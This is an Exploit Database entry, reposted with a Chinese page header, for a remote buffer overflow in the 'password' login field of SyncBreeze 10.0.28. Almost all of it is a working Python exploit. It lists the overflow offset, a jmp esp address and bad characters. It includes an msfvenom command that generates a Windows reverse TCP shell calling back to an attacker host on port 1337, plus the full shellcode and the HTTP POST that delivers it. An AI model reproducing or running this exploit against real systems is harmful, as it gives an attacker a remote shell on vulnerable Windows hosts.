SyncBreeze 10.0.28 – ‘password’ Remote Buffer Overflow

Exploit Database
117 阅读

作者： Abdessalam king

日期： 2020-11-25
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/49104/

# Exploit Title: SyncBreeze 10.0.28 - 'password' Remote Buffer Overflow

# Date: 18-Sep-2020

# Exploit Author: Abdessalam king(A.salam)

# Vendor Homepage: http://www.syncbreeze.com

# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe

# Version: 10.0.28

# Tested on: Windows 7,windows xp,windows 10

#72413372 [*] Exact match at offset 520

#jmp esp FFE4 \xff\xe4

#!mona modules

#!mona find -s "\xff\xe4" -m libspp.dll

#address esp => 10090C83

#badchars ==> "\x00\x0a\x0d\x25\x26\x2b\x3d"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.199 LPORT=1337 -f c

-b "\x00\x0a\x0d\x25\x26\x2b\x3d"EXITFUNC=thread

#!/usr/bin/python

import socket

shell =""

shell +="\xba\x4b\x38\x98\x39\xdd\xc7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"

shell +="\x53\x83\xef\xfc\x31\x57\x10\x03\x57\x10\xa9\xcd\x64\xd1\xaf"

shell +="\x2e\x95\x22\xcf\xa7\x70\x13\xcf\xdc\xf1\x04\xff\x97\x54\xa9"

shell +="\x74\xf5\x4c\x3a\xf8\xd2\x63\x8b\xb6\x04\x4d\x0c\xea\x75\xcc"

shell +="\x8e\xf0\xa9\x2e\xae\x3b\xbc\x2f\xf7\x21\x4d\x7d\xa0\x2e\xe0"

shell +="\x92\xc5\x7a\x39\x18\x95\x6b\x39\xfd\x6e\x8a\x68\x50\xe4\xd5"

shell +="\xaa\x52\x29\x6e\xe3\x4c\x2e\x4a\xbd\xe7\x84\x21\x3c\x2e\xd5"

shell +="\xca\x93\x0f\xd9\x39\xed\x48\xde\xa1\x98\xa0\x1c\x5c\x9b\x76"

shell +="\x5e\xba\x2e\x6d\xf8\x49\x88\x49\xf8\x9e\x4f\x19\xf6\x6b\x1b"

shell +="\x45\x1b\x6a\xc8\xfd\x27\xe7\xef\xd1\xa1\xb3\xcb\xf5\xea\x60"

shell +="\x75\xaf\x56\xc7\x8a\xaf\x38\xb8\x2e\xbb\xd5\xad\x42\xe6\xb1"

shell +="\x02\x6f\x19\x42\x0c\xf8\x6a\x70\x93\x52\xe5\x38\x5c\x7d\xf2"

shell +="\x3f\x77\x39\x6c\xbe\x77\x3a\xa4\x05\x23\x6a\xde\xac\x4b\xe1"

shell +="\x1e\x50\x9e\x9c\x15\xf7\x70\x83\xd7\x6d\x71\x29\x2a\x1a\x9b"

shell +="\xa2\xf5\x3a\xa4\x68\x9e\xd3\x58\x93\xbe\xb3\xd5\x75\xaa\xa3"

shell +="\xb3\x2e\x43\x06\xe0\xe6\xf4\x79\xc3\x8c\x3b\xf0\xb3\xd9\xd3"

shell +="\x4c\xaa\xde\xdc\x4c\xf9\x48\x4b\xc7\xed\x4c\x6a\xd8\x38\xe5"

shell +="\xfb\x4f\xb7\x64\x49\xf1\xc8\xac\x3b\xf1\x5c\x4b\xea\xa6\xc8"

shell +="\x51\xcb\x81\x57\xa9\x3e\x92\x9f\x55\xbf\xb8\xd4\x60\x55\x83"

shell +="\x82\x8c\xb9\x03\x52\xdb\xd3\x03\x3a\xbb\x87\x57\x5f\xc4\x1d"

shell +="\xc4\xcc\x51\x9e\xbd\xa1\xf2\xf6\x43\x9c\x35\x59\xbb\xcb\x45"

shell +="\x9e\x43\x8d\x4e\x5e\x87\x58\x97\x15\xee\x59\xac\x36\xed\x77"

shell +="\xd9\xde\xa8\x12\x60\x83\x4a\xc9\xa7\xba\xc8\xfb\x57\x39\xd0"

shell +="\x8e\x52\x05\x56\x63\x2f\x16\x33\x83\x9c\x17\x16";

payload = "username=AAAAA&password="+"A"*520+"\x83\x0c\x09\x10"+ "\x90" *

20 + shell +"\x90"*(1400-520-4-20-len(shell))

req =""

req += "POST /login HTTP/1.1\r\n"

req += "Host: 192.168.1.20\r\n"

req += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101

Firefox/68.0\r\n"

req += "Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

req += "Accept-Language: en-US,en;q=0.5\r\n"

req += "Accept-Encoding: gzip, deflate\r\n"

req += "Referer: http://192.168.1.20/login\r\n"

req += "Content-Type: application/x-www-form-urlencoded\r\n"

req += "Content-Length: "+str(len(payload))+"\r\n"

req += "Connection: keep-alive\r\n"

req += "Upgrade-Insecure-Requests: 1\r\n"

req += "\r\n"

req += payload

# print req

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.1.20",80))

s.send(req)

print s.recv(1024)

s.close()